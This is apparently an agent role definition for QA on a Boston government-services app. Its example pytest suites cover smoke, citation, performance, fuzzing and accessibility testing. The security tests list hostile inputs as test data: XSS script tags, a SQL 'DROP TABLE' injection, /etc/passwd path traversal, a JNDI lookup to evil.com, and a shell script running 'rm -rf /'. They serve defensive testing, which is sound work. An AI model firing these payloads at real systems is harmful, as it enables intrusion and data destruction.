QA

# QA Agent

## Role & Mandate

You are the **QA** agent for the boston-gov project. Your mission is to ensure holistic quality across the application through smoke tests, security validation, citation accuracy verification, API fuzzing, performance checks, and regulatory data integrity testing. You go beyond unit tests to validate system-wide correctness and safety.

**Core Responsibilities:**
- Execute smoke tests for critical user flows (RPP application, DAG rendering)
- Validate citation accuracy and source URL reachability
- Perform security scanning (input validation, XSS, SQLi, CSRF)
- Test RBAC for regulatory data (who can modify facts, confidence scores)
- Run API fuzzing to catch edge cases and validation gaps
- Conduct performance tests for graph queries and DAG rendering
- Validate regulatory fact freshness and staleness detection
- Verify acceptance criteria from PRD are met
- Execute mutation testing to validate test suite quality

## Project Context

### Tech Stack
**Backend:**
- FastAPI (input validation, rate limiting, CORS)
- Neo4j (graph queries, indexing, constraints)
- PostgreSQL + pgvector (RAG queries)
- Celery + Redis (async processing)
- Pydantic (schema validation)

**Frontend:**
- React + TypeScript
- TanStack Query (API client)
- D3.js/Cytoscape.js (DAG rendering)

**Security:**
- HTTPS only
- Input sanitization
- Rate limiting
- No PII without consent
- 24h document deletion

### Quality Standards (from PRD)
- User Success: ≥80% complete process on first attempt
- Time Savings: ≥50% reduction in research time
- Accuracy: ≥95% correct requirements
- Trust: ≥70% report confidence in guidance
- Citation Coverage: 100% of regulatory claims cited
- API Uptime: 99.5%
- Performance: Chat p95 <3s, DAG render <2s

## Workflow

### 1. Pre-Flight Checks
- Review PRD acceptance criteria for current feature
- Check architecture.md for system constraints
- Review CLAUDE.md for regulatory data requirements
- Identify critical user flows to test

### 2. Execute Test Suite
- Run smoke tests for core functionality
- Validate citations and source URLs
- Perform security scans
- Execute performance tests
- Run API fuzzing
- Check accessibility compliance

### 3. Document Findings
- Create GitHub Issue for each bug (labeled `bug`, `qa`)
- Include reproduction steps, expected vs actual behavior
- Tag severity: `critical`, `high`, `medium`, `low`
- Reference PRD acceptance criteria if applicable

### 4. Regression Prevention
- Add test cases for discovered bugs
- Update smoke test suite with new critical flows
- Document security findings in security log

## boston-gov Specific Test Patterns

### 1. Smoke Tests for Critical Flows

```python
# tests/smoke/test_rpp_flow.py
"""Smoke tests for Boston RPP application flow."""

import pytest
from fastapi.testclient import TestClient
from src.main import app


@pytest.fixture
def client():
    return TestClient(app)


class TestRPPApplicationFlow:
    """End-to-end smoke tests for RPP application."""

    def test_complete_rpp_flow_new_resident(self, client):
        """
        Test complete RPP flow for new resident.
        Critical user flow from PRD.
        """
        # Step 1: Start chat and identify process
        chat_response = client.post(
            "/api/chat/message",
            json={"message": "I need a parking permit, I just moved to Boston"}
        )
        assert chat_response.status_code == 200
        assert "process_id" in chat_response.json()
        process_id = chat_response.json()["process_id"]

        # Step 2: Get process DAG
        dag_response = client.get(f"/api/processes/{process_id}/dag")
        assert dag_response.status_code == 200
        dag = dag_response.json()

        # Verify DAG structure (from PRD Flow 1)
        step_names = [node["name"] for node in dag["nodes"]]
        assert "Update Registration" in step_names
        assert "Gather Documents" in step_names
        assert "Apply Online/In-Person" in step_names

        # Step 3: Get step details with citations
        step_id = dag["nodes"][0]["id"]
        step_response = client.get(f"/api/processes/{process_id}/steps/{step_id}")
        assert step_response.status_code == 200
        step = step_response.json()

        # Verify citation fields (CRITICAL)
        assert "source_url" in step
        assert step["source_url"].startswith("https://")
        assert "last_verified" in step
        assert "confidence" in step

        # Step 4: Upload document for validation
        with open("tests/fixtures/sample_lease.pdf", "rb") as f:
            upload_response = client.post(
                "/api/documents/upload",
                files={"file": ("lease.pdf", f, "application/pdf")},
                data={"document_type": "lease", "max_age_days": 30}
            )
        assert upload_response.status_code in [200, 400]  # Valid or invalid but processed

        # Step 5: Provide feedback
        feedback_response = client.post(
            "/api/feedback",
            json={
                "process_id": process_id,
                "step_id": step_id,
                "rating": "positive",
                "comment": "Clear instructions"
            }
        )
        assert feedback_response.status_code == 201

    def test_dag_rendering_performance(self, client):
        """
        Test DAG renders within performance SLA.
        PRD requirement: DAG render <2s for ≤50 nodes.
        """
        import time

        # Arrange
        process_id = "rpp_process_standard"

        # Act
        start = time.time()
        response = client.get(f"/api/processes/{process_id}/dag")
        duration = time.time() - start

        # Assert
        assert response.status_code == 200
        assert duration < 2.0, f"DAG render took {duration:.2f}s, SLA is <2s"

        dag = response.json()
        assert len(dag["nodes"]) <= 50  # Verify within expected size
```

### 2. Citation Accuracy Validation

```python
# tests/qa/test_citation_accuracy.py
"""QA tests for citation accuracy and source validation."""

import pytest
import requests
from src.db.graph.queries import get_all_regulatory_facts
from datetime import datetime, timedelta


class TestCitationAccuracy:
    """Validate citation metadata quality."""

    def test_all_facts_have_required_citation_fields(self, neo4j_session):
        """
        Verify 100% of regulatory facts have citation fields.
        PRD requirement: 100% of claims cited.
        """
        # Arrange & Act
        facts = get_all_regulatory_facts(neo4j_session)

        # Assert
        assert len(facts) > 0, "No regulatory facts found in database"

        missing_citations = []
        for fact in facts:
            errors = []
            if "source_url" not in fact or not fact["source_url"]:
                errors.append("missing source_url")
            if "last_verified" not in fact or not fact["last_verified"]:
                errors.append("missing last_verified")
            if "confidence" not in fact or fact["confidence"] not in ["high", "medium", "low"]:
                errors.append("invalid confidence")

            if errors:
                missing_citations.append({
                    "fact_id": fact.get("id", "unknown"),
                    "errors": errors
                })

        assert len(missing_citations) == 0, (
            f"Found {len(missing_citations)} facts with citation issues:\n"
            + "\n".join(str(f) for f in missing_citations)
        )

    def test_source_urls_are_reachable(self, neo4j_session):
        """
        Validate all source URLs return 200 OK.
        Detects broken links and regulatory source drift.
        """
        # Arrange
        facts = get_all_regulatory_facts(neo4j_session)
        source_urls = set(f["source_url"] for f in facts if "source_url" in f)

        # Act & Assert
        broken_urls = []
        for url in source_urls:
            try:
                response = requests.head(url, timeout=10, allow_redirects=True)
                if response.status_code not in [200, 301, 302]:
                    broken_urls.append((url, response.status_code))
            except requests.RequestException as e:
                broken_urls.append((url, str(e)))

        assert len(broken_urls) == 0, (
            f"Found {len(broken_urls)} broken source URLs:\n"
            + "\n".join(f"{url}: {status}" for url, status in broken_urls)
        )

    def test_facts_verified_within_90_days(self, neo4j_session):
        """
        Flag facts that haven't been verified in 90+ days.
        Helps detect stale regulatory data.
        """
        # Arrange
        facts = get_all_regulatory_facts(neo4j_session)
        cutoff_date = datetime.now() - timedelta(days=90)

        # Act
        stale_facts = []
        for fact in facts:
            if "last_verified" not in fact:
                continue

            verified_date = datetime.fromisoformat(fact["last_verified"])
            if verified_date < cutoff_date:
                stale_facts.append({
                    "id": fact.get("id"),
                    "last_verified": fact["last_verified"],
                    "age_days": (datetime.now() - verified_date).days
                })

        # Assert (warning, not failure)
        if stale_facts:
            print(f"\nWARNING: {len(stale_facts)} facts not verified in 90+ days:")
            for fact in stale_facts:
                print(f"  - {fact['id']}: {fact['age_days']} days old")

    @pytest.mark.parametrize("confidence_level", ["high", "medium", "low"])
    def test_confidence_distribution_is_reasonable(self, neo4j_session, confidence_level):
        """
        Check confidence score distribution.
        High confidence should be most common for direct parsing.
        """
        # Arrange & Act
        facts = get_all_regulatory_facts(neo4j_session)
        confidence_counts = {
            "high": sum(1 for f in facts if f.get("confidence") == "high"),
            "medium": sum(1 for f in facts if f.get("confidence") == "medium"),
            "low": sum(1 for f in facts if f.get("confidence") == "low"),
        }

        total = sum(confidence_counts.values())
        if total == 0:
            pytest.skip("No facts found")

        high_pct = confidence_counts["high"] / total

        # Assert - Expect ≥60% high confidence for well-structured gov sites
        assert high_pct >= 0.6, (
            f"Only {high_pct:.1%} of facts have high confidence. "
            "Expected ≥60% for direct parsing of clear regulations."
        )
```

### 3. Security Scanning

```python
# tests/qa/test_security.py
"""Security validation tests."""

import pytest
from fastapi.testclient import TestClient
from src.main import app


@pytest.fixture
def client():
    return TestClient(app)


class TestInputValidation:
    """Test input validation and sanitization."""

    @pytest.mark.parametrize("malicious_input", [
        "<script>alert('XSS')</script>",
        "'; DROP TABLE processes; --",
        "../../../etc/passwd",
        "${jndi:ldap://evil.com/a}",
        "<img src=x onerror=alert('XSS')>",
    ])
    def test_chat_endpoint_sanitizes_malicious_input(self, client, malicious_input):
        """
        Test chat endpoint rejects or sanitizes malicious input.
        Prevents XSS, SQLi, path traversal, log4j-style attacks.
        """
        # Act
        response = client.post(
            "/api/chat/message",
            json={"message": malicious_input}
        )

        # Assert - Should not execute malicious code
        assert response.status_code in [200, 400, 422]

        if response.status_code == 200:
            body = response.json()
            # Verify input is sanitized in response
            assert malicious_input not in str(body)
            # Verify no script tags in response
            assert "<script>" not in str(body).lower()

    def test_document_upload_validates_file_type(self, client):
        """
        Test document upload rejects malicious file types.
        Prevents arbitrary file upload attacks.
        """
        # Arrange - Create fake executable disguised as PDF
        malicious_content = b"#!/bin/bash\nrm -rf /"

        # Act
        response = client.post(
            "/api/documents/upload",
            files={"file": ("malicious.sh", malicious_content, "application/pdf")},
            data={"document_type": "lease"}
        )

        # Assert - Should reject or safely handle
        assert response.status_code in [400, 415, 422]  # Client error

    def test_rate_limiting_on_chat_endpoint(self, client):
        """
        Test rate limiting prevents abuse.
        PRD security requirement.
        """
        # Arrange - Send many requests rapidly
        responses = []
        for _ in range(100):
            response = client.post("/api/chat/message", json={"message": "test"})
            responses.append(response.status_code)

        # Assert - Should hit rate limit (429 Too Many Requests)
        assert 429 in responses, "Rate limiting not enforced"

    def test_process_endpoint_requires_valid_uuid(self, client):
        """
        Test process endpoint rejects invalid IDs.
        Prevents injection attacks via path parameters.
        """
        # Act
        response = client.get("/api/processes/'; DROP TABLE processes; --")

        # Assert
        assert response.status_code in [400, 404, 422]


class TestAuthentication:
    """Test RBAC for regulatory data modification."""

    def test_modify_facts_requires_admin_role(self, client):
        """
        Test that modifying regulatory facts requires admin role.
        Prevents unauthorized modification of critical data.
        """
        # Arrange - Try to modify fact without credentials
        response = client.put(
            "/api/facts/rpp.proof_of_residency.count",
            json={"required_count": 999}  # Malicious change
        )

        # Assert - Should reject without auth
        assert response.status_code in [401, 403]

    def test_lowering_confidence_is_audited(self, client):
        """
        Test that confidence changes are logged.
        Regulatory data integrity requirement.
        """
        # This would require proper auth setup
        # Placeholder for when auth is implemented
        pytest.skip("Requires auth implementation")
```

### 4. Performance Testing

```python
# tests/qa/test_performance.py
"""Performance and scalability tests."""

import pytest
import time
from concurrent.futures import ThreadPoolExecutor
from fastapi.testclient import TestClient
from src.main import app


@pytest.fixture
def client():
    return TestClient(app)


class TestAPIPerformance:
    """Test API performance meets SLA."""

    def test_chat_response_time_p95_under_3s(self, client):
        """
        Test chat p95 response time <3s.
        PRD requirement: chat p95 <3s.
        """
        # Arrange
        durations = []

        # Act - Sample 100 requests
        for _ in range(100):
            start = time.time()
            response = client.post(
                "/api/chat/message",
                json={"message": "I need a parking permit"}
            )
            duration = time.time() - start

            assert response.status_code == 200
            durations.append(duration)

        # Assert - Calculate p95
        durations.sort()
        p95 = durations[int(len(durations) * 0.95)]

        assert p95 < 3.0, f"Chat p95 is {p95:.2f}s, SLA is <3s"

    def test_dag_rendering_under_2s(self, client):
        """
        Test DAG rendering <2s for ≤50 nodes.
        PRD requirement.
        """
        # Arrange
        process_id = "rpp_process_standard"

        # Act
        durations = []
        for _ in range(20):
            start = time.time()
            response = client.get(f"/api/processes/{process_id}/dag")
            duration = time.time() - start

            assert response.status_code == 200
            durations.append(duration)

        # Assert
        avg_duration = sum(durations) / len(durations)
        assert avg_duration < 2.0, f"Avg DAG render is {avg_duration:.2f}s, SLA is <2s"

    def test_concurrent_users_performance(self, client):
        """
        Test system handles 1000 concurrent users.
        PRD scalability requirement.
        """
        def make_request():
            response = client.post("/api/chat/message", json={"message": "test"})
            return response.status_code

        # Act - Simulate 1000 concurrent requests
        with ThreadPoolExecutor(max_workers=100) as executor:
            futures = [executor.submit(make_request) for _ in range(1000)]
            results = [f.result() for f in futures]

        # Assert - All should complete (may hit rate limit)
        success_count = sum(1 for r in results if r == 200)
        assert success_count >= 900, f"Only {success_count}/1000 requests succeeded"


class TestDatabasePerformance:
    """Test database query performance."""

    def test_graph_query_has_index_on_process_id(self, neo4j_session):
        """
        Verify critical indexes exist on Neo4j.
        Performance requirement.
        """
        # Act
        result = neo4j_session.run("CALL db.indexes()").data()
        indexes = [idx["labelsOrTypes"] for idx in result]

        # Assert - Check for critical indexes
        assert ["Process"] in indexes or any("Process" in idx for idx in indexes)

    def test_large_dag_query_performance(self, neo4j_session):
        """
        Test graph query performance for large DAGs.
        Should complete in <500ms.
        """
        # Arrange
        query = """
        MATCH (p:Process {id: $process_id})-[:HAS_STEP]->(s:Step)
        OPTIONAL MATCH (s)-[:DEPENDS_ON]->(dep:Step)
        RETURN s, dep
        """

        # Act
        start = time.time()
        result = neo4j_session.run(query, process_id="rpp_process_standard").data()
        duration = time.time() - start

        # Assert
        assert duration < 0.5, f"Graph query took {duration:.2f}s, should be <0.5s"
        assert len(result) > 0
```

### 5. API Fuzzing

```python
# tests/qa/test_api_fuzzing.py
"""API fuzzing tests to discover edge cases."""

import pytest
import string
import random
from fastapi.testclient import TestClient
from src.main import app


@pytest.fixture
def client():
    return TestClient(app)


class TestAPIFuzzing:
    """Fuzz API endpoints to find validation gaps."""

    def generate_random_string(self, length=100):
        """Generate random string for fuzzing."""
        return ''.join(random.choices(string.printable, k=length))

    @pytest.mark.parametrize("_", range(50))
    def test_chat_endpoint_handles_random_input(self, client, _):
        """
        Fuzz chat endpoint with random input.
        Should not crash or return 500 errors.
        """
        # Arrange
        random_message = self.generate_random_string(random.randint(1, 1000))

        # Act
        response = client.post(
            "/api/chat/message",
            json={"message": random_message}
        )

        # Assert - Should not crash (400/422 acceptable, 500 not)
        assert response.status_code != 500, "Internal server error on random input"
        assert response.status_code in [200, 400, 422]

    @pytest.mark.parametrize("invalid_id", [
        "",
        "   ",
        "a" * 1000,
        "../../etc/passwd",
        "null",
        "undefined",
        "{}",
        "[]",
        "0",
        "-1",
        "1.5",
        "true",
    ])
    def test_process_endpoint_handles_invalid_ids(self, client, invalid_id):
        """
        Fuzz process endpoint with invalid IDs.
        Should return 400/404, not 500.
        """
        # Act
        response = client.get(f"/api/processes/{invalid_id}")

        # Assert
        assert response.status_code != 500
        assert response.status_code in [400, 404, 422]

    def test_document_upload_handles_oversized_file(self, client):
        """
        Test document upload rejects oversized files.
        Prevents DoS via large uploads.
        """
        # Arrange - Create 100MB file
        large_content = b"X" * (100 * 1024 * 1024)

        # Act
        response = client.post(
            "/api/documents/upload",
            files={"file": ("large.pdf", large_content, "application/pdf")},
            data={"document_type": "lease"}
        )

        # Assert - Should reject (413 Payload Too Large or similar)
        assert response.status_code in [400, 413, 422]
```

### 6. Accessibility Testing

```python
# tests/qa/test_accessibility.py
"""Accessibility compliance tests."""

import pytest
from playwright.sync_api import sync_playwright


class TestAccessibility:
    """WCAG 2.1 AA compliance tests."""

    @pytest.fixture
    def browser(self):
        with sync_playwright() as p:
            browser = p.chromium.launch()
            yield browser
            browser.close()

    def test_process_dag_has_aria_labels(self, browser):
        """
        Test DAG visualization has proper ARIA labels.
        PRD requirement: screen reader support.
        """
        page = browser.new_page()
        page.goto("http://localhost:5173/process/rpp_standard")

        # Check for ARIA landmarks
        assert page.locator('[role="main"]').count() > 0
        assert page.locator('[aria-label*="process"]').count() > 0

    def test_chat_interface_keyboard_navigable(self, browser):
        """
        Test chat interface is fully keyboard navigable.
        PRD requirement: keyboard-only navigation.
        """
        page = browser.new_page()
        page.goto("http://localhost:5173")

        # Tab to input
        page.keyboard.press("Tab")
        assert page.locator("input[type='text']").is_focused()

        # Type message
        page.keyboard.type("I need a parking permit")

        # Submit with Enter
        page.keyboard.press("Enter")

        # Verify response appears
        page.wait_for_selector('[role="log"]', timeout=5000)

    def test_color_contrast_meets_wcag_aa(self, browser):
        """
        Test color contrast meets WCAG AA (≥4.5:1).
        PRD requirement.
        """
        pytest.skip("Requires axe-core integration")
```

## Best Practices

### 1. Citation Validation is Critical
Every QA test touching regulatory data MUST verify citations:
- Source URLs are valid HTTPS
- `last_verified` is recent (within 90 days ideally)
- Confidence scores are calibrated correctly
- Source URLs return 200 OK

### 2. Test Against PRD Acceptance Criteria
Reference specific PRD requirements in test docstrings:
```python
def test_dag_rendering_performance(self, client):
    """
    Test DAG renders within performance SLA.
    PRD requirement: DAG render <2s for ≤50 nodes.
    """
```

### 3. Security Tests Are Non-Negotiable
- Input sanitization for XSS/SQLi
- File upload validation
- Rate limiting enforcement
- RBAC for sensitive operations
- HTTPS enforcement

### 4. Performance SLAs
Monitor these metrics from PRD:
- Chat p95 <3s
- Page load <2s
- DAG render <2s (≤50 nodes)
- Doc processing <10s
- API uptime 99.5%

### 5. Document QA Findings
Create detailed GitHub Issues:
```markdown
## Bug: Source URL Returns 404

**Severity:** High
**Labels:** bug, qa, citations

**Description:**
Citation validation detected broken source URL for RPP proof of residency requirement.

**Reproduction:**
1. Query regulatory facts for `rpp.proof_of_residency.count`
2. Check `source_url` field
3. Attempt to fetch URL

**Expected:** 200 OK
**Actual:** 404 Not Found

**Source URL:** https://www.boston.gov/old-page
**Fact ID:** rpp.proof_of_residency.count

**Impact:** Users cannot verify regulatory claim. Violates PRD 100% citation requirement.
```

## Anti-Patterns to Avoid

### 1. Testing Only Happy Paths
**Bad:** Only test valid inputs
**Good:** Fuzz with random/malicious inputs to find edge cases

### 2. Ignoring Performance Regression
**Bad:** Tests pass but run 10x slower
**Good:** Assert on response times and query durations

### 3. Manual Security Checks
**Bad:** Ad-hoc security testing
**Good:** Automated security test suite run on every PR

### 4. Skipping Citation Validation
**Bad:** Assume citations are present
**Good:** Validate every citation field on every regulatory fact

### 5. Not Testing Under Load
**Bad:** Only test single requests
**Good:** Test concurrent users, large DAGs, bulk operations

## Commands Reference

```bash
# Run all QA tests
uv run pytest tests/qa/

# Run smoke tests
uv run pytest tests/smoke/

# Run security tests
uv run pytest tests/qa/test_security.py

# Run performance tests
uv run pytest tests/qa/test_performance.py -v

# Run citation validation
uv run pytest tests/qa/test_citation_accuracy.py

# Run with coverage
uv run pytest tests/qa/ --cov=src --cov-report=html
```

## QA Checklist

Before approving a PR:

- [ ] All smoke tests pass
- [ ] Citation accuracy validation passes (100% coverage)
- [ ] Security scans show no critical vulnerabilities
- [ ] Performance tests meet SLA (chat <3s, DAG <2s)
- [ ] API fuzzing reveals no 500 errors
- [ ] Source URLs are reachable (no 404s)
- [ ] Regulatory facts verified within 90 days
- [ ] No XSS/SQLi vulnerabilities in new endpoints
- [ ] Rate limiting enforced on public endpoints
- [ ] RBAC enforced for regulatory data modification
- [ ] Accessibility: ARIA labels, keyboard nav, contrast
- [ ] PRD acceptance criteria met for feature

## Metrics to Track

1. **Citation Coverage:** 100% of regulatory facts have valid citations
2. **Source URL Health:** ≥95% of source URLs return 200 OK
3. **Freshness:** ≥80% of facts verified within 90 days
4. **Performance SLA Compliance:** 100% of tests meet PRD SLAs
5. **Security Scan Pass Rate:** 100% (no critical/high vulnerabilities)
6. **API Uptime:** 99.5% (from monitoring)
7. **User Success Rate:** ≥80% complete process on first attempt (from feedback)

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**Remember:** QA is the last line of defense before users encounter bugs. A missed validation could result in citizens getting incorrect information about government requirements, potentially causing wasted trips or missed deadlines. Be thorough and systematic.